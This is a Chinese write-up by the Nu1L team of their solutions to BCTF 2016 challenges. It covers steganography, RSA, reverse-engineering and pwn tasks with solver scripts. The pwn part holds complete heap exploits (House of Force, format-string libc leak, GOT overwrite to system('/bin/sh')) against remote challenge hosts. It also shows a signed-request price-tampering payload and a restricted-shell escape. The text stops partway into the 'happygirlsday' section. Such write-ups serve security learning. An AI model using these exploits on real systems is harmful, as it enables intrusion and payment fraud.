BCTF解题报告

2016-03-30 532191人围观 ,发现 6 个不明物体 头条网络安全

*原创作者:Nu1L团队

题目所有文件下载地址:Bctf.rar

Misc & Steganography & forensic & Crypto

1. irc(10分)

直接登录上官方irc可得到flag

2. midifan(150分)

题目 Q: Xiaoming is a fan of MIDI songs, and he found this piece of sheet a bit different. Could you help him find out the hidden message?

听了一天的魂斗罗,整个人都不好了。开始没想到,以为是摩斯密码的,然后发现思路错了,查了查,midi可以用python直接解析,也可以用lilypond,解析出来都没想到具体的解法,直到在google上发现可以将midi转化为xml,在这个网站上flashmusicgames转化完了下载下来,发现其中有一些数据不合理,比如61、361、481等等,之后想到可能是note。 

Clipboard Image.png

发现其中都是在channel 1 上,Velocity均为80,就在note上浪费了很久的时间。之后想到可能是跟Absolute的61有关,手动提取0,61,120,180,240,300,361,420,如果为奇数位,偶数为0转化为二进制,在转化为01000010,发现是字母B,但是后面转化为11000010,不是C,然后发现如果是反序变为01000011即为C,又因为B是0100010,反序不变,于是,此题可解。首先去掉xml中的多余数据,然后修正一个,使得python可以解析,之后提取Absolute,脚本如下:

import xml.dom.minidom

import sys

import binascii

list1 = []

res = ''

flag = ''

dom = xml.dom.minidom.parse('midi.xml')

root = dom.documentElement

bb = root.getElementsByTagName('Event')

for i in xrange(len(bb)):

    b = bb[i]

    # print int(b.getElementsByTagName('Absolute')[0].firstChild.data)

    if (((int(b.getElementsByTagName('Absolute')[0].firstChild.data) % 60 == 1) | (int(b.getElementsByTagName('Absolute')[0].firstChild.data) % 60 == 0))):

        # print

        # type(int(b.getElementsByTagName('NoteOn')[0].getAttribute('Channel')))

        if (b.getElementsByTagName('NoteOn')):

            # print b.getElementsByTagName('NoteOn')[0].getAttribute('Channel')

            if int(b.getElementsByTagName('NoteOn')[0].getAttribute('Channel')) == 1:

                list1.append(

                    int(b.getElementsByTagName('Absolute')[0].firstChild.data))

# print list1

list1.append(0)

list2 = sorted(list1)

# print list2

# print i%60

for i in xrange(437):

    if (list2[i] / 60 == list2[i + 1] / 60) & (list2[i] % 60 == 0):

        list2.remove(list2[i])

# print list2

for i in list2:

    res += str(i % 60)

for i in xrange(68):

    print res[i * 8:i * 8 + 8][::-1]

for i in xrange(26):

    s_10 = int(res[i * 8:i * 8 + 8][::-1], 2)

    s_16 = '%x' % (s_10)

    s = binascii.a2b_hex(s_16)

    flag += s

print flag

3. catvideo(150分)

Q:forensic?

在网上找了好久的工具,没有一个能用的,没办法,在github上找了很久,找了一个ffmpeg然而没学会怎么用,找了找以前的wreiteup有一个日本的博客的wp上面有一个关于提取的脚本,拿下来改改,

#!/usr/bin/python

import cv2

import numpy

import qrcode

cap = cv2.VideoCapture('ts.mp4')

cap.set(cv2.cv.CV_CAP_PROP_POS_MSEC, 3800)

while True:

    success, frame = cap.read()

    if success:

        break

qr_image = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)

while cap.get(cv2.cv.CV_CAP_PROP_POS_MSEC) < 4600:

    success, frame = cap.read()

    if not success:

        continue

    grayframe = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)

    cv2.bitwise_or(qr_image, grayframe, qr_image)

    cv2.imshow('qrcode', qr_image)

    if cv2.waitKey(2) & 0xFf == ord('q'):

        break

cap.release()

cv2.imwrite('qrcode.png', qr_image)

cv2.waitKey(0)

cv2.destroyAllWindows()

之后发现下面出现一行flag,然而很不清楚。。。然后开始慢慢猜单词,首先看出来的是cats,does,not,like,然后最后一个单词是d开头,g结尾。之后通过调整脚本中的3800和4600两个数据,发现在不同时刻,不同单词清楚。于是调整,发现最后一次应该是ing结尾,结合关于猫的事情,猜测是drinking,还被队友鄙视一番。之后就是第一个单词,看出来是cute后面看不清,一直在想什么单词是cute开头的,并没有找到,因为flag说了是0-9A-Za-z]|+,就没想别的,结果在某一个瞬间,发现如果是&符号,那后面就可以是一个单独的单词,然后,。。一切都明朗了,wtf~~~ 。

Clipboard Image.png

4. Special RSA(200分)

 Q:While studying and learning RSA, I knew a new form of encryption/decryption with the same safety as RSA.I encrypted msg.txt and got msg.enc as an example for you.

加密函数中c = (pow(k, r, N) * m) % N

其中只有k是未知的

令t=pow(k, r, N)

有c=t*m%N

利用扩展欧几里德可以求得t

而且有两组数据:

pow(k, r1, N)=t1

pow(k, r2, N)=t2

尝试下rsa共模攻击

关键字common modulus attack找到现成的脚本

(e1, n) = (12900676191620430360427117641859547516838813596331616166760756921115466932766990479475373384324634210232168544745677888398849094363202992662466063289599443, 23927411014020695772934916764953661641310148480977056645255098192491740356525240675906285700516357578929940114553700976167969964364149615226568689224228028461686617293534115788779955597877965044570493457567420874741357186596425753667455266870402154552439899664446413632716747644854897551940777512522044907132864905644212655387223302410896871080751768224091760934209917984213585513510597619708797688705876805464880105797829380326559399723048092175492203894468752718008631464599810632513162129223356467602508095356584405555329096159917957389834381018137378015593755767450675441331998683799788355179363368220408879117131L)

(e2, n) = (7718975159402389617924543100113967512280131630286624078102368166185443466262861344357647019797762407935675150925250503475336639811981984126529557679881059, 23927411014020695772934916764953661641310148480977056645255098192491740356525240675906285700516357578929940114553700976167969964364149615226568689224228028461686617293534115788779955597877965044570493457567420874741357186596425753667455266870402154552439899664446413632716747644854897551940777512522044907132864905644212655387223302410896871080751768224091760934209917984213585513510597619708797688705876805464880105797829380326559399723048092175492203894468752718008631464599810632513162129223356467602508095356584405555329096159917957389834381018137378015593755767450675441331998683799788355179363368220408879117131L)

c1 = 21050269275063947324803736152108894960122834143453871907171889706069292182017441714340845630199726901695235325331162743215493028971840698886694652237493693233562510612601511933544385719792087669184188577257426314936474401349404047895204434845607471209321070641238142431886829644762263880353945176747824295861773784296485143574724157411701384084642412647460092918280364241325796565550082230981630789430160325171428941325164099673663196407439039250584955677662418429817961970120515321431370774024177287738150427369478834235920832376988907441000788444734564377426364934553237120525037142991363604288054944470726414900627

c2 = 6450984114106657233418272201667817010768003811756575350064243420877391894365353747069532492005631706505537625725185847890305749446294465596475368239792417224814540364037312829242769458491279070913902496186534058889668940647382402026752270529611203130010362248980055145615851893813096026876153582356477939111070601783786491932490927153302914437902634211112496671182359706019466893672546770021703829360700572739573729669067501821556528672020020952478557547749543804975103585024833805220345272127706528601277722403999642507250963456431679257566679612247350741121349306893059826143033437954988365464143578911826517264933

def gcd(a, b):

  if a == 0:

    x, y = 0, 1;

    return (b, x, y);

  tup = gcd(b % a, a)

  d = tup[0]

  x1 = tup[1]

  y1 = tup[2]

  x = y1 - (b / a) * x1

  y = x1

  return (d, x, y)

 

#solve the Diophantine equation a*x0 + b*y0 = c

def find_any_solution(a, b, c):

  tup = gcd(abs(a), abs(b))

  g = tup[0]

  x0 = tup[1]

  y0 = tup[2]

  if c % g != 0:

    return (False, x0, y0)

  x0 *= c / g

  y0 *= c / g

  if a < 0:

    x0 *= -1

  if b < 0:

    y0 *= -1

  return (True, x0, y0)

 

import sys

sys.setrecursionlimit(5000)  

 

(x, a1, a2) = find_any_solution(e1, e2, 1)

if a1 < 0:

(x, c1, y) = find_any_solution(c1, n, 1) #get inverse element

a1 = -a1

if a2 < 0:

(x, c2, y) = find_any_solution(c2, n, 1)

a2 = -a2

 

m = (pow(c1, a1, n) * pow(c2, a2, n)) % n

 

print m

得到

k=175971776542095822590595405274258668271271366360140578776612582276966567082080372980811310146217399585938214712928761559525614866113821551467842221588432676885027725038849513527080849158072296957428701767142294778752742980766436072183367444762212399986777124093501619273513421803177347181063254421492621011961

把key带进原来的脚本解密得到flag

BCTF{q0000000000b3333333333-ju57-w0n-pwn20wn!!!!!!!!!!!!}

5. hsab(250分)

Q:bash?

连上nc发现需要爆破下才能登陆,写了个脚本:

#!/usr/env python

from zio import *

from hashlib import sha256

import sys

from os import urandom

io = zio(('104.199.132.199', 2222))

io.read_until('starting with \'')

t = io.read_until('\'')[:-1]

while True:

    x = urandom(8).encode('hex')

    if sha256(t + x).hexdigest().startswith('00000'):

        io.write(t + x+'\n') 

        break

io.interact()

进入后发现是bash的命令行,然后cat,ls这些常见命令都被禁了,尴尬= =

输入help,发现开启的一些命令:

发现有echo,于是就echo *看了下目录,发现flag的目录:

Clipboard Image.png

然后就各种读flag:

value=$(</home/ctf/flag.ray) | echo “$value”这种的都不行,<应该也被限制了。和队友讨论了下,队友说你试试bash –v行吗。。。果真老司机= =

Clipboard Image.png

得到最后flag。

6. zerodaystore(200分)

给了一个安卓apk和一段server的Python代码,代码见 https://gist.github.com/virusdefender/9aec40d6ae73ead56429

安卓大致的逆向了一下,就觉得order和pay的url是有用的,其余没啥问题。问题应该在server上,需要修改price。

可控的位置是`androidID`,一般混淆也就是它的值设置为`123&price=-1`,但是这里会在循环中被实际的price覆盖掉。

后来在想到需要利用Python的base64解码的特点,

```python

In [4]: import base64

In [5]: base64.b64encode("xxxxxxxxxx")

Out[5]: 'eHh4eHh4eHh4eA=='

In [6]: base64.b64decode("eHh4eHh4eHh4eA==")

Out[6]: 'xxxxxxxxxx'

In [7]: base64.b64decode("eHh4eHh4eHh4eA==!")

Out[7]: 'xxxxxxxxxx'

In [8]: base64.b64decode("eHh4eHh4eHh4eA==!eHh4eHh4eHh4eA==")

Out[8]: 'xxxxxxxxxx'

```

这样把price放在最后面就可以了。

```python

print requests.post("http://paygate.godric.me/pay", data="orderID=12368911859&price=80000&productID=1&timestamp=1458482306973&signer=RSA&hash=sha256&nonce=733d2f88ea74af8a&sign=TzdQaIa7qT/tTb6UNvzl25irdxiFYOj3hq932Wdozzkazsj1cIpzEhE2mnrUewwnuG2lPGpulqdMTGgMJgsUYWrKxEjpk3EKnWukgASyfap9N9EcsgKw67/2wJ00o1Nxc098jTxurLnW2lBfSXNQySDI+M7o0NzD58nYq/Rjzl3NkYFlF+fTf+ZxejM0J+uZCDDi7BZoFhTpFXrV0OPso6Ltefb+o0ZvI6YcBULHRdOVIhzhhnkY68xTBI2ULAH0OEttDls7PlLZnEYYuT92oSr7Q38W6ilpe1EG27czkVCVbuK3AMvfwaLbQnajuOrNz+JumG7TdFSbkwl8Rfgarw==!&price=-1").content

```

验证代码取到的sign就是带有`!&price=-1`的,但是base64解码后还和原来的是一样的,而解析price的时候却会读取到最后一个price。

结果是`{“status”: 4, “data”: “BCTF{0DayL0veR1chGuy5}”}`

Reverse

1. LostFlower(250分)

Q:reverse LostFlower

java层分析得出stringFromJNI要返回4才会输出flag,打开so发现用ollvm混淆过了,有大量无效指令,so中有4个check函数比较可疑,动态跟踪下发现只有check1用到了,并且check1要返回1,最后stringFromJNI才会返回4,在my_pow函数下断分析出输入有10位数字,并且每一种数字对应唯一一种输出,所以10位数字对应的输出相加的到v15:

Clipboard Image.png

然后进入sub_1aa4,这个函数对输入做取绝对值操作:

Clipboard Image.png

返回结果要小于0才能check1返回1。取绝对值之后返回负数,只有当输入为最小负数时才成立(0×80000000),用c爆破得到输入:1422445956。

#include<stdio.h>

#include<string.h>

int main()

{

  int arr[] = {0, 1, 0x400 ,0xe6a9  ,0x100000 ,0x9502f9 ,0x39aa400  ,0x10d63af1 ,0x40000000 ,0xcfd41b91};

  int sum = 0,tmp;

  for(int i=0;i<2147483647;++i)

  {

  int z = 10;

  int j = i;

  sum = 0;

  while(j%z!=0)

  {

  sum += arr[j%z];

  j = j/10;

  }

  if(i + 0x59357062 - sum - 0x59357062 == 0x80000000)

  {

  printf("find! %d\n", i);

  break;

  }

  }

  return 0;

}

2. sid(350分)

题目分了两个人做:

Part 1

过了好久才发现是Squirrel语言,于是到处找decompiler,在github上面找到了NutCracker:https://github.com/darknesswind/NutCracker

只可惜是v2 32位的,而题目是v3 64位的

于是开始疯狂的改程序。方法是对着squirrel的源代码,找到sqobject然后对着看。

(注:这个代码坑人,只能在英文目录下面编译,因为他自带的moc.exe不识别中文路径)

之后反编译出来得到代码。

Part 2

sif是松鼠脚本编译的

神奇的队友修改了nutcrack,把它反编译了

大概逻辑是

先成成md5(key+filename),前8个字节作为加密后文件的头,可以忽略

后8个字节(准确的说是6个字节)作为一个初始值x,传递给一个序列生成函数

注意,这里是按照小端处理。

序列生成函数为:

while (true)

{

yield x;

x = x * 0x5deece66d + 11;

x = x & ((1 << 48) - 1);

}

每次取x的高32位(4字节)与明文异或得到密文

png格式的前8个字节是固定的

而由于序列的第一个值为x,所以x的高32位直接暴露了,可以穷举2个字节

f1=bytearray('\x89\x50\x4e\x47\x0d\x0a\x1a\x0a')

f2=bytearray(open('flag.png','rb').read()[8:16])

r=''

for i in range(0,len(f2)):

    r+=chr(f1[i]^f2[i])

    print hex(f1[i]^f2[i])

org=0xc3e61810000

for bp in range(0xfffff+1):

 x=org+bp

 t=0x5deece66d

 x = x * t + 11

 x = x & ((1 << 48 ) - 1)

 

 rk=x

 if rk>>40&0xff==0xfd and rk>>32&0xff==0xc8 and rk>>24&0xff==0x8e and rk>>16&0xff==0x94:

  print 'get:'

  print hex(org+bp)

得到x=0xc3e618181ea

解密脚本

x=0xc3e618181ea

xl=''

while len(xl)<2400:

 rk=x

 xl+=chr(rk>>40&0xff)

 xl+=chr(rk>>32&0xff)

 xl+=chr(rk>>24&0xff)

 xl+=chr(rk>>16&0xff)

 t=0x5deece66d

 x = x * t + 11

 x = x & ((1 << 48 ) - 1)

 

f=open('f.png','wb')

f1=bytearray(xl)

f2=bytearray(open('flag.png','rb').read()[8:])

r=''

for i in range(0,len(f2)):

    r+=chr(f1[i]^f2[i])

f.write(r)

f.close()

flag.png打开是个二维码

#FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE#

The flag is: BCTF{550_loveca_w1th0ut_UR}

#FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE#

3. toooooo many switches(700分)

Q:-  hint: If you get the correct flag, you will see congratulations message.

    -  hint2: There are many possible input that look like flag, but only 1 of them is the correct flag.

    -  hint3: This program is made by many switch case code.

    -  hint4: The hash check function called by many switches is actually using a kind of memory hard key derivation function, and to make life easier, the last param for the check function is 4.

    -  hint5: The flag format is BCTF{[a-zA-Z0-9_+=<>.?]+}, the charset is bigger than normal flag charset. Thanks to Zzzzzzz for pointing out.

这题真是无语TAT,分析了好久的算法结果发现根本不用分析…

拿到程序之后,发现是UPX加壳,于是直接upx –d得到原文件。

等了自动分析了好久,发现是动态连接的,ida已经自动识别的main函数

验证逻辑十分简单,关键函数就在0x00400A70处。

虽然题目说是switch-case结构,但是个人更愿意把它理解成一个VM

大概就是先把下一个要执行的位置设定好,然后跳到Dispatcher

Dispatcher装载好下一个字节,并按照之前的设定跳转到相应的位置。

如此往复,即可实现flag的验证。

开始想直接无脑爆破,结果发现除了那个长长的大表,还有6个小表,中间的函数有些还是3-5情况。但是很多flag都能到最后一步,所以跑回去看题目中图片。注意到了时间为14s。

于是随便推出一个flag开始分析。发现在0x799CC0的这里

Clipboard Image.png

竟然要循环0×10000次

在这里也要循环好多次:

Clipboard Image.png

发现这两个的循环次数由a5 a6 a7决定

于是编写脚本,提取调用0x799CC0,即调用0×400990的参数:

from idaapi import *

from idc import *

def get_string(addr):

  out = ""

  while True:

    if Byte(addr) != 0:

      out += chr(Byte(addr))

    else:

      break

    addr += 1

  return out

func_ea = 0x400990

func = get_func(func_ea)

if not func is None:

for xref in CodeRefsTo(func_ea,0):

#print "cur: 0x%08X" % (xref)

a7 = 0

a6 = 0

a5 = 0

pstr = 0

ftype = 0

if (Byte(xref - 0x10) == 0x4C and Byte(xref - 0x10 + 1) == 0x89 and Byte(xref - 0x10 + 2) == 0xC6 and Byte(xref - 0x10 + 3) == 0x41 and Byte(xref - 0x10 + 4) == 0x89 and Byte(xref - 0x10 + 5) == 0xC0  and Byte(xref - 0x10 + 6) == 0x41 and Byte(xref - 0x10 + 7) == 0x89 and Byte(xref - 0x10 + 8) == 0xC1):

if (Byte(xref - 7) == 0xc7 and Byte(xref - 6) == 0x04 and Byte(xref - 5) == 0x24):

a7 = Dword(xref - 4)

if Byte(xref - 0x28) == 0xb8:

a6 = Dword(xref - 0x28 + 1)

a5 = a6

if (Byte(xref - 0x39) == 0x48 and Byte(xref - 0x39 + 1) == 0xBA):

pstr = Qword(xref - 0x39 + 2)

ftype = 1

elif (Byte(xref - 13) == 0xc7 and Byte(xref - 12) == 0x04 and Byte(xref - 11) == 0x24):

a7 = Dword(xref - 10)

if Byte(xref - 0x20) == 0x41 and Byte(xref - 0x20 + 1) == 0xB9:

a6 = Dword(xref - 0x20 + 2)

if Byte(xref - 0x37) == 0x48 and Byte(xref - 0x37 + 1) == 0xBA:

pstr = Dword(xref - 0x37 + 2)

if Byte(xref - 0x26) == 0x41 and Byte(xref - 0x26 + 1) == 0xb8:

a5 = Dword(xref - 0x26 + 2)

ftype = 2

elif ((Byte(xref - 7) == 0xc7 and Byte(xref - 7 + 1) == 0x04 and Byte(xref - 7 + 2) == 0x24)):

a7 = Dword(xref - 7 + 3)

if Byte(xref - 0x15) == 0x41 and Byte(xref - 0x15 + 1) == 0xB9:

a6 = Dword(xref - 0x15 + 2)

if Byte(xref - 0x2c) == 0x48 and Byte(xref - 0x2c + 1) == 0xBA:

pstr = Qword(xref - 0x2c + 2)

if Byte(xref - 0x1b) == 0x41 and Byte(xref - 0x1b + 1) == 0xb8:

a5 = Dword(xref - 0x1b + 2)

ftype = 3

print "cur: 0x%08X type: %d a5=%4d,a6=%4d,a7=%4d,result=0x%08x,str=0x%08X(%s)" % (xref,ftype,a5,a6,a7,(((1 << a7) * (1 << a6 << 7) + 63) >> 6) & 0xffffffff,pstr,GetString(pstr,-1,ASCSTR_C))

得到形如这样的结果:

Clipboard Image.png

导入到excel中,排序得到符合hint要求的情况(a7 == 4)

Clipboard Image.png

之后发现从最后的验证处倒退,对应结果是唯一的

于是写脚本:

#-*- coding: utf-8 -*-  

#coding=utf-8

from idaapi import *

from idc import *

import struct

start_find_ea = 0x00400B0F

end_find_ea = 0x00799558

def get_flag(start_ea,last_time_str):

cur_func = get_func(start_ea).startEA

ea = 0

next_func = 0

#获取switch-case表中的偏移

xref = DataRefsTo(cur_func)

xref_num = 0

for ea in xref:

xref_num = xref_num + 1

if(ea == 0 or xref_num > 1):

print "Error! Can't find data xref or more than one xref"

return last_time_str

#print "cur data xref:",hex(ea)

if(ea < 0x814748):#不处于小表中

#搜索调用偏移的位置

calling_offest = (ea - get_name_ea(BADADDR,"Switches")) / 8

find_str = "C7 45 DC "+ ' '.join(map(lambda x:x.encode('hex'),list(struct.pack("<I",calling_offest))))

next_func = find_binary(start_find_ea,end_find_ea,find_str,16,SEARCH_CASE)

if(next_func == BADADDR):

print "ended or error finding next func"

return last_time_str

#next_func = get_func(next_func).startEA

#找到判断位置

#print "Nextfunc:",hex(next_func)

xref = CodeRefsTo(next_func,0)

ea = 0

xref_num = 0

for ea in xref:

xref_num = xref_num + 1

if(ea == 0 or xref_num > 1):#不是代码引用

#print "Error! Can't find code xref or more than one xref"

#return last_time_str

xref = DataRefsTo(next_func)

ea = 0

xref_num = 0

for ea in xref:

xref_num = xref_num + 1

if(ea == 0 or xref_num > 1):#不是数据引用

print "Error! Can't find code or data xref"

return last_time_str

#return get_flag(next_func,last_time_str)#处理数据引用

smalltable1_start = 0x814748

smalltable1_end = 0x8149C8

smalltable2_start = 0x8149C8

smalltable2_end = 0x0000000000814C48

smalltable3_start = 0x0000000000814C48

smalltable3_end = 0x0000000000814EE8

smalltable4_start = 0x0000000000814EE8

smalltable4_end = 0x0000000000815190

smalltable5_start = 0x0000000000815190

smalltable5_end = 0x0000000000815410

smalltable6_start = 0x0000000000815410

smalltable6_end = 0x0000000000815448

#print "Smalltable address:",hex(ea)

if(ea >= smalltable1_start and ea < smalltable1_end):

cur_char = (ea - smalltable1_start)/8 + 0x2B

next_func = 0x000000000068C0B7

elif(ea >= smalltable2_start and ea < smalltable2_end):

cur_char = (ea - smalltable2_start)/8 + 0x2B

next_func = 0x0000000000685D02

elif(ea >= smalltable3_start and ea < smalltable3_end):

cur_char = (ea - smalltable3_start)/8 + 0x30

next_func = 0x0000000000646DD1

elif(ea >= smalltable4_start and ea < smalltable4_end):

cur_char = (ea - smalltable4_start)/8 + 0x2B

next_func = 0x00000000005B528A

elif(ea >= smalltable5_start and ea < smalltable5_end):

cur_char = (ea - smalltable5_start)/8 + 0x2B

next_func = 0x000000000048D909

elif(ea >= smalltable6_start and ea < smalltable6_end):

cur_char = (ea - smalltable6_start)/8 + 0x50

next_func = 0x0000000000485A2D

last_time_str = chr(cur_char) + last_time_str

#print last_time_str

#print

return get_flag(next_func,last_time_str)

#处理代码引用

#print "Check position:",hex(ea)

#获取对应char

cur_char = 0

if(Byte(ea) == 0xEB and Byte(ea+1) == 0x00 and Byte(ea-0xB) == 0x83 and Byte(ea - 0xB + 1) == 0xE8):

cur_char = Byte(ea - 0xB + 2)

elif(Byte(ea) == 0xEB and Byte(ea+1) == 0x00 and Byte(ea-8) == 0x83 and Byte(ea - 8 + 1) == 0xE8):

cur_char = Byte(ea - 8 + 2)

elif(Byte(ea-0xF) == 0x83 and Byte(ea - 0xF + 1) == 0xE9):

cur_char = Byte(ea - 0xF + 2)

#elif("""Byte(ea) == 0x74 and """Byte(ea-0x9) == 0x83 and Byte(ea-0x9+1) == 0xe8):

elif(Byte(ea-0x9) == 0x83 and Byte(ea-0x9+1) == 0xe8):

cur_char = Byte(ea - 0x9+2)

else:

print "Error! Can't find cur_char"

return last_time_str

else:#处于小表中

smalltable1_start = 0x814748

smalltable1_end = 0x8149C8

smalltable2_start = 0x8149C8

smalltable2_end = 0x0000000000814C48

smalltable3_start = 0x0000000000814C48

smalltable3_end = 0x0000000000814EE8

smalltable4_start = 0x0000000000814EE8

smalltable4_end = 0x0000000000815190

smalltable5_start = 0x0000000000815190

smalltable5_end = 0x0000000000815410

smalltable6_start = 0x0000000000815410

smalltable6_end = 0x0000000000815448

#print "Smalltable address:",hex(ea)

if(ea >= smalltable1_start and ea < smalltable1_end):

cur_char = (ea - smalltable1_start)/8 + 0x2B

next_func = 0x000000000068C0B7

elif(ea >= smalltable2_start and ea < smalltable2_end):

cur_char = (ea - smalltable2_start)/8 + 0x2B

next_func = 0x0000000000685D02

elif(ea >= smalltable3_start and ea < smalltable3_end):

cur_char = (ea - smalltable3_start)/8 + 0x30

next_func = 0x0000000000646DD1

elif(ea >= smalltable4_start and ea < smalltable4_end):

cur_char = (ea - smalltable4_start)/8 + 0x2B

next_func = 0x00000000005B528A

elif(ea >= smalltable5_start and ea < smalltable5_end):

cur_char = (ea - smalltable5_start)/8 + 0x2B

next_func = 0x000000000048D909

elif(ea >= smalltable6_start and ea < smalltable6_end):

cur_char = (ea - smalltable6_start)/8 + 0x50

next_func = 0x0000000000485A2D

last_time_str = chr(cur_char) + last_time_str

#print last_time_str

#print

return get_flag(next_func,last_time_str)

得到了556个flag

然后利用pwntools来爆破:

#!/usr/bin/env python2

# -*- coding:utf-8 -*-

from pwn import *

import os

def main():

f = open("data3","r")

bufs = f.read().split('\n')

f.close()

buf = bufs[160:]

k = 0

for i in buf:

log.info("running with : " + i)

args = ['./toooooo-many-switches.0d37258813df342629a335a35f040be6', i]

io = process(args)

result = io.recv(99999)

print result

if 'Congratulatinos' in result:

fp = open("flag","w")

fp.write(i)

fp.close()

log.success("FOUND!!!!")

print i

exit(0)

io.close()

print len(bufs)

return 0

if __name__ == "__main__":

main()

得到正确flag:BCTF{piYqQQ4EjJNs6<wL}

(TAT比FlappyPig慢了一步)

PWN

1. bcloud(150分)

放题目顺序不对啊…拿到这个题目分析之后发现和200漏洞利用方式一样,于是直接搞定了。

原来ruin多的50分是libc hunting的分么…

#!/usr/bin/env python

# -*- coding: utf-8 -*-

from pwn import *

from ctypes import *

# flag = BCTF{3asy_h0uSe_oooof_f0rce}

#io = process('./bcloud')

io = remote('104.199.132.199', 1970)

atoi_got = 0x0804B03C

printf_plt = 0x080484D0

libc_ret = 0x19A83

system_offset = 0x40190

def s32(x):

return c_int32(x).value

def newnote(length,content):

io.recvuntil('>>\n')

io.sendline('1')

io.recvuntil('\n')

io.sendline(str(length))

if content != "":

io.recvuntil(':')

io.send(content)

return

def editnote(id,content):

io.recvuntil('option--->>')

io.sendline('3')

io.recvuntil(':')

io.sendline(str(id))

io.recvuntil(':')

io.send(content)

return

def delnote(id):

io.recvuntil('option--->>')

io.sendline('4')

io.recvuntil(':')

io.sendline(str(id))

return

def sync():

io.recvuntil('option--->>')

io.sendline('5')

return

def main():

name = 64 * '\xff'

io.recvuntil('name:')

io.send(name)

io.recvuntil(' ')

buf = io.recvuntil('!')[:-1].lstrip('\xff')

heap_addr = u32(buf+(4-len(buf))*'\x00')

log.info('Heap address = ' + hex(heap_addr))

org = 64 * '\xff'

io.recvuntil('Org:')

io.send(org)

host = 64 * '\xff'

io.recvuntil('Host:')

io.send(host)

top = heap_addr - 8 + 0x48 + 0x48 + 0x48

size = atoi_got - 8 - top - 4 - 8;

newnote(s32(size),"")

newnote(32,"A"*4+p32(printf_plt)+'\n')

io.recvuntil('->>')

io.sendline('aaaaaa%31$p')

io.recvuntil('0x')

buf = int(io.recvuntil("I")[:-1],16)

libc_base = buf - libc_ret

log.success("Libc base = " + hex(libc_base))

system_addr = libc_base + system_offset

io.recvuntil('->>')

io.sendline('aaa')

io.recvuntil(':')

io.sendline('a')

io.recvuntil(':')

io.sendline("A"*4+p32(system_addr))

io.sendline("/bin/sh")

#newnote(-1,"")

io.interactive()

return 0

if __name__ == '__main__':

main()

2. ruin(200分)

拿到题目,分析程序,发现在edit_secret处有溢出,可以覆盖top块的size,于是想到了malloc maleficarum这篇文章中提到的House Of Force方法。修改top的size为0xffffffff,就可以申请无限大内存块,使top块下一次分配到任意位置的堆块。在程序开头处输入key的地方可以泄露堆地址,于是就可以过掉aslr,通过计算申请到.got.plt处的堆块。

接下来就是麻烦的地方了,题目没有给libc,无法得知system的偏移,于是把atoi的plt改成printf,利用fsb来dump libc,得到system偏移,然后就ok了。

脚本:

#!/usr/bin/env python2

# -*- coding:utf-8 -*-

from pwn import *

from ctypes import *

# flag = BCTF{H0w_3lf_Ru1n3d_XmaS}

atoi_got = 0x10F80

printf_plt = 0x00008594

libc_ret_off = 0x76e3381c - 0x76e1c000

libc_system = 0x3a230

#io = remote('127.0.0.1', 33334)

io = remote('166.111.132.49', 9999)

def s32(x):

return c_int32(x).value

def us32(x):

return c_uint32(x).value

def keys(content):

io.recvuntil('choice(1-4):')

io.sendline('1')

io.recvuntil('key:')

io.send(content)

return

def sign_name(length,content=''):

print io.recvuntil('choice(1-4):')

io.sendline('3')

print io.recvuntil('length:')

io.sendline(str(length))

if content != '':

print io.recvuntil('name:')

io.send(content)

return

def edit_secret(secret):

io.recvuntil('choice(1-4):')

io.sendline('2')

io.recvuntil('secret:')

io.sendline(secret)

return

def leak(address):

log.info('Address = '+hex(address))

if '\x0a' in p32(address):

return '\x00'

fsb = r'%8$s' + 6*'a' + 2*'\x00' + p32(address)

fsb += '\n'

print fsb.encode('hex')

print io.recvuntil('choice(1-4):')

io.send(fsb)

data = io.recvuntil('aaaaaa')

print data

data = data[:-6]

print data.encode('hex')

return data + '\x00'

def pwn(offset):

io.recvuntil('key:')

io.send('aaaaaaaa')

buf = io.recvuntil(' ')[:-1] # heap address

io.recvuntil('key:')

io.send('security')

buf.encode('hex')

heap_1 = u32(buf[8:] + (4-len(buf[8:]))*'\x00')

log.success('Heap Address = ' + hex(heap_1))

top = heap_1 + 8

size = atoi_got - 8 - top - 4

log.info('Size = ' + hex(us32(size)))

edit_secret('a'*8+'\x00\x00\x00\x00'+'\xff\xff\xff\xff') # edit top's chunksize

sign_name(s32(size)) # now we can overwrite atoi's got

payload = p32(printf_plt)

payload = payload + (16-len(payload))*'C'

keys(payload)

# %21$p = libc_start_main_ret

io.recvuntil('choice(1-4):')

io.sendline(r'%21$p')

addr = int((io.recvline()[:-1])[2:],16)

log.info('Libc_start_main_ret = ' + hex(addr))

libc_base = addr - libc_ret_off

log.info('Libc Base = ' + hex(libc_base))

system_addr = libc_base + libc_system

log.success('System = ' + hex(system_addr))

io.recvuntil('choice(1-4):')

io.sendline('')

io.recvuntil('key:')

io.send(p32(system_addr)+12*'a')

io.recvuntil('choice(1-4):')

io.sendline('/bin/sh\x00')

'''

p = libc_base

f = open('libc_dump.bin', 'wb')

while 1:

buf = leak(p)

f.write(buf)

p += len(buf)

f.close()

'''

io.interactive()

'''

# guess system's address

system_addr = addr + 0x10000 + offset

log.info('Guessed addr = ' + hex(system_addr))

io.recvuntil('choice(1-4):')

io.sendline('')

io.recvuntil('key:')

io.send(p32(system_addr)+12*'a')

io.recvuntil('choice(1-4):')

io.sendline('id')

buf = io.recv(9999)

'''

'''

dyn = DynELF(leak,elf=ELF('./ruin'))

system = dyn.lookup('system', 'libc')

log.success('System addr = ' + hex(system))

'''

return

if __name__ == '__main__':

try:

pwn(0)

except Exception, e:

io.interactive()

3. happygirlsday(350分)

Part1:

happygirlsday (exploit&misc 350)

流水账部分

拿到赛题文件就各种试。

Clipboard Image.png

查看文件头

Clipboard Image.png

文件头是0xC0DEF00D。Github.com搜索0xC0DEF00D,得到。

怀疑是v9-cpu。然后搭环境试验(https://github.com/chyyuu/v9-cpu)。

Clipboard Image.png

与nc 104.199.132.199 2666的效果一致。

下一步目标是搭建调试环境,逆向分析,找漏洞。

指令集学习

https://github.com/chyyuu/v9-cpu/blob/master/doc/cpu.md反汇编

使用 ./dis 命令得到反汇编代码。

Clipboard Image.png

调试器

使用 ./xem -g进行调试。

Clipboard Image.png

断点功能

通过修改em.c代码,为调试器添加“断点”功能。

逆向分析:

